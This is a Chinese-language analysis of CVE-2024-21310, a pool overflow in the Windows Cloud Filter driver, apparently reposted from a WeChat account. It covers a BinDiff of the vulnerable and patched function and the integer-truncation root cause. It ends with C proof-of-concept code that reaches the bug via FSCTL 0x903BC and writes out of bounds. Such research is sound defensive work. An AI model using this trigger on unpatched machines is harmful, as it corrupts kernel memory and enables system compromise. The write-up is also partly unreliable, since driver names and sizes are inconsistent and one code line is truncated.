此漏洞没有公开的概念验证(PoC),因此我们必须根据微软提供的有限信息从头开始。我们需要对易受攻击和修补后的clfd.sys组件进行逆向工程和BinDiff分析,以识别漏洞并找到触发它的方法。
微软提供的信息可以在以下链接找到:Microsoft
此漏洞是由数值截断错误引起的整数溢出。
什么是数值截断错误?
假设我们有一个类型为int64_t的值和另一个类型为int16_t的值,并且我们希望将它们相加并将结果存储在类型为int16_t的变量中。这个例子将展示当将结果存储在容量较小的数据类型中时如何发生截断。
int64_t large_value = 100000;
int16_t small_value = 30000;
int16_t sum = (int16_t)(large_value + small_value);
large_value 是一个64位整数(int64_t),其值为100,000。
small_value 是一个16位整数(int16_t),其值为30,000。
large_value和small_value的和在int64_t上进行,因为它是最大的类型。因此,和是:
100,000 + 30,000 = 130,000
和的结果(130,000)然后被转换为int16_t。由于int16_t的范围是-32,768到32,767,任何超出此范围的值都会被截断。
漏洞的根本原因
我用于此漏洞利用的易受攻击的Windows版本:
有必要激活 Windows Long Path。为此,我按照以下链接中的说明进行了操作:
Microfocus
Autodesk
从以下网站下载易受攻击和修补后的驱动程序:Winbindex
第一步我们需要找到漏洞,为此我将对易受攻击版本的cldfls.sys和修补后的版本进行bindiff分析。
漏洞位于HsmFltProcessSetPinState函数中,如我们在对比两个函数时所见,一个是易受攻击的,另一个是修补后的。
现在我们将研究漏洞为何发生。
InformationFile = HsmiQueryFullFilePath(v22, v23, Object, 257i64, &PathSize); [1]
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( InformationFile < 0 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qqd(
WPP_GLOBAL_Control->AttachedDevice,
183i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
v21,
InformationFile);
}
goto LABEL_93;
}
v24 = PathSize + *(_WORD *)(a2 + 0x40); [2]
LOWORD(v39) = 0;
WORD1(v39) = v24;
P = ExAllocatePoolWithTag(PagedPool, v24, 'sUsH'); [3]
InformationFile = P == 0i64 ? 0xC000009A : 0;
HsmDbgBreakOnStatus((unsigned int)InformationFile);
if ( !P )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qd(
WPP_GLOBAL_Control->AttachedDevice,
184i64,
&WPP_78064aab483a35e2f1ef7b76ba44fd52_Traceguids,
a2,
InformationFile);
}
goto LABEL_93;
}
memmove(P, *(const void **)(a2 + 72), *(unsigned __int16 *)(a2 + 64));
LOWORD(v39) = *(_WORD *)(a2 + 64) - 2;
memmove((char *)P + (unsigned __int16)v39, Src, (unsigned __int16)PathSize); [4]
[1] HsmiQueryFullFilePath 函数会将我们从 NtCreateFile 发送的路径大小返回给 PathSize 变量。
[2] 在这段代码中会发生整数溢出,因为 PathSize 是 __int64 类型,而 (a2 + 0x40) 是 WORD 类型(16位,即2字节),结果将存储在 unsigned __int16 v24 (2字节) 中。为了产生溢出,PathSize 必须是一个足够大的值,使得与 0x30 (*(_WORD *)(a2 + 0x40) 的值) 相加时,结果超过16位范围,存储在 v24 中。
如果 PathSize= 0xFFFC 且 *(_WORD *)(a2 + 0x40)= 0x30,则结果为 0x1002C,但在 v24 中只能存储 0x2c,因此 v24=0x2c,因为 v24 是 int16 类型,只能存储2字节。
[3] 然后 v24 的加和结果将被用作分配内存块的大小,该块的大小为 0x2c。
[4] 在这段代码中会发生越界写入(OOB write),因为之前分配的内存块大小是 0x2c,而我们将写入一个大小为 0xFFFC 的长路径,并且使用 PathSize=0xFFFC 作为写入的大小。
漏洞patch
让我们来看一下微软为该函数应用的修补。
InformationFile = HsmiQueryFullFilePath(v22, v20, a3, 0x101u, PathSize);
HsmDbgBreakOnStatus(InformationFile);
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLOBAL_Control->Timer) < 2u )
{
goto LABEL_99;
}
v24 = 213;
goto LABEL_28;
}
pusResult[1] = *(_WORD *)(a2 + 0x40);
if ( (unsigned int)Feature_2686352701__private_IsEnabled() )
{
InformationFile = RtlUShortAdd(pusResult[1], (USHORT)PathSize[0], &pusResult[1]); [1]
if ( InformationFile < 0 )
{
v23 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control
|| (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) == 0
|| BYTE1(WPP_GLO
[1] RtlUShortAdd 函数会将 PathSize 和 *(_WORD *)(a2 + 0x40) 这两个值相加,并检查是否产生溢出。如果发生溢出,结果将设置为 USHORT 的最大值,并返回错误码。如果没有溢出,加和结果会存储在提供的变量中,并返回0表示成功。
触发漏洞
要触发该漏洞,我们需要调用到漏洞函数,因此我们将检查 HsmFltProcessHSMControl 函数,并查看需要发送哪些代码来触发 HsmFltProcessSetPinState。
case 0xC0000018:
v99 = 0;
Status = HsmiOpPrepareOperation(
CallbackData,
-1073741800,
*(_DWORD *)(Parameters + 8),
v13,
a2,
v9,
(__int64 *)&v87,
128,
&v85);
HsmDbgBreakOnStatus(Status);
if ( Status >= 0 )
{
v73 = (void *)Parameters;
v26 = v84;
Status = HsmFltProcessSetPinState(
(__int64)&v85,
(__int64)v13,
*(struct _FILE_OBJECT **)v88,
a2,
v9,
v87,
v84,
CallbackData,
v73,
v100,
Length,
v101);
HsmDbgBreakOnStatus(Status);
goto LABEL_209;
}
break;
它首先执行一个同步根目录注册。然后启动同步提供程序和同步过滤器API之间的通信:
struct _OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
GUID guid = { 0 };
WCHAR* dir = (WCHAR*)L"C:\ProgramData";
HANDLE hObject = NULL;
struct _IO_STATUS_BLOCK IoStatusBlock;
struct _IO_STATUS_BLOCK IoStatusBlock_control_file = { 0 };
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D41;
CRC32TableCreate();
GetFuncAddr();
CfUnregisterSyncRoot(L"C:\ProgramData\");
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)) {
printf("[-] CfRegisterSyncRoot failed with %d", GetLastError());
return 0;
}
printf("[*] CfRegisterSyncRoot successn");
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.SecurityDescriptor = NULL;
如上所示,设置参数以通过FSCTL云过滤器(0x903BC)并使用标记**0x9000001A(IO_REPARSE_TAG_CLOUD)**到达易受攻击的函数 (code= 0xC0000018)。
RtlInitUnicodeString(&objdir,string );
InitializeObjectAttributes(&ObjectAttributes, &objdir, 0, 0, 0);
ObjectAttributes.Attributes = 64;
status = NtCreateFile(&hObject, GENERIC_READ | GENERIC_WRITE, &ObjectAttributes, &IoStatusBlock, 0, 0, 0, 3, 1, 0, 0);
if (!NT_SUCCESS(status)) {
// Error al llamar a NtCreateFile, imprimir el código de error
printf("Error al abrir el archivo: 0x%Xn", status);
return 1;
}
printf("[*] tiggering Bug n");
unsigned int* control_buffer_2 = (unsigned int*)calloc(1, 0x100);
*control_buffer_2 = 0x9000001A;
control_buffer_2[1] = 0xC0000018;
control_buffer_2[2] = 0x20000;
control_buffer_2[3] = 0x0;
control_buffer_2[4] = 0x4;
fnNtFsControlFile(
hObject,
0,
0,
0,
&IoStatusBlock_control_file,
0x903BC,
control_buffer_2,
0x100,
0,
0);
string 变量将包含 长路径,RtlInitUnicodeString 使用Unicode string 变量初始化一个 UNICODE_STRING 结构体。然后 InitializeObjectAttributes 初始化一个 OBJECT_ATTRIBUTES 结构体,该结构体将作为 NtCreateFile 的参数使用。
现在我们来看一下漏洞是如何被利用的。
HsmiQueryFullFilePath 函数返回了我们长路径的大小,如下图所示,在windbg中该值为 0xFFD0。
包含 [r15+40h] 的值,即变量 *(_WORD *)(a2 + 0x40) 的值为 0x30,并与 PathSize(这是 HsmiQueryFullFilePath 返回的路径大小)相加,这里发生了整数溢出,然后该加法的结果 0x0 被用作分配块的大小。
这就是 OOB 写 发生的地方,并且漏洞被触发,因为 mmemove 会将我们长度为 0xFFD0 的长路径(即我发送的路径大小)复制到大小为 0x20 的块中。
这里我们看到了Windows消息。
原文始发于微信公众号(3072):CVE-2024-21310 Windows Cloud Filter Driver 池溢出漏洞分析